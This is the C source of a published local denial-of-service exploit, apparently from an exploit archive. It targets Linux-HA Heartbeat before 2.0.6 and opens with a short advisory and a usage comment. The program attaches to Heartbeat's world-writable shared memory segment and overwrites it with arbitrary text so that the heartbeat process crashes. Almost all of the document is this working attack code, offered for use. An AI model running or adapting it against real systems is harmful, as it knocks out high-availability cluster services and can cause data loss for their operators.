63 lines
No EOL
1.8 KiB
C
63 lines
No EOL
1.8 KiB
C
// source: https://www.securityfocus.com/bid/19186/info
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Since Linux-HA Heartbeat has insecure default permissions set on shared memory, local attackers may be able to cause a denial of service.
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Exploitation would most likely result in a system crash, loss of data, and resource exhaustion, leading to a denial of service if critical files are accessed improperly or overwritten in the attack. Other attacks may be possible as well.
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/* Intruders Tiger Team Security
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* http://www.intruders.org.br/
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*
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* Heartbeat < 2.0.6 Insecure Shared Memory - Local Denial of Service.
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*
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* Credits: Yan Rong Ge, see link below:
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* http://secunia.com/advisories/21162/
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* Tested on Heartbeat 2.0.5.
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*
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* Thanks for Wendel Guglielmetti, Waldemar Nehgme,
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* Joao Arquimedes, Ricardo BSD and Vitor, Intruders
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* Tiger Team Security.
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*
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* Usage:
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* [security@mail1 tmp]$ ipcs
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*
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* ------ Shared Memory Segments --------
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* key shmid owner perms bytes nattch status
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* 0x00000000 1638402 root 666 7296 6 dest
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*
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* ------ Semaphore Arrays --------
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* ....
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* Get shmid of heartbeat(look perms == 666, this is wrong!!!:))
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*
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* [security@mail1 tmp]$ ./itts_sharedex2 1638402 "Intruders Tiger Team Security.."
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*
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* The heartbeat<61>s process will droped.
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* Brazil, July/2006.
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*/
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#include <stdio.h>
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#include <sys/types.h>
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#include <sys/ipc.h>
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#include <sys/shm.h>
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int main(int argc, char *argv[]){
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int shmid;
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char *shm;
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if(argc < 2){
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printf("Heartbeat Insecure Shared Memory Exploit by Nash Leon\n");
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printf("Usage: %s <target_shmid> <trash>\n", argv[0]);
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exit(0);
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}
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shmid = atoi(argv[1]);
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if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) {
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perror("shmat");
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exit(1);
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}
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strncpy(shm,argv[2],1024);
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printf("Check now heartbeat pid or shared memory\n");
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printf("Running ps auxww | grep heartbeat or ipcs again.\n\n");
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exit(0);
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} |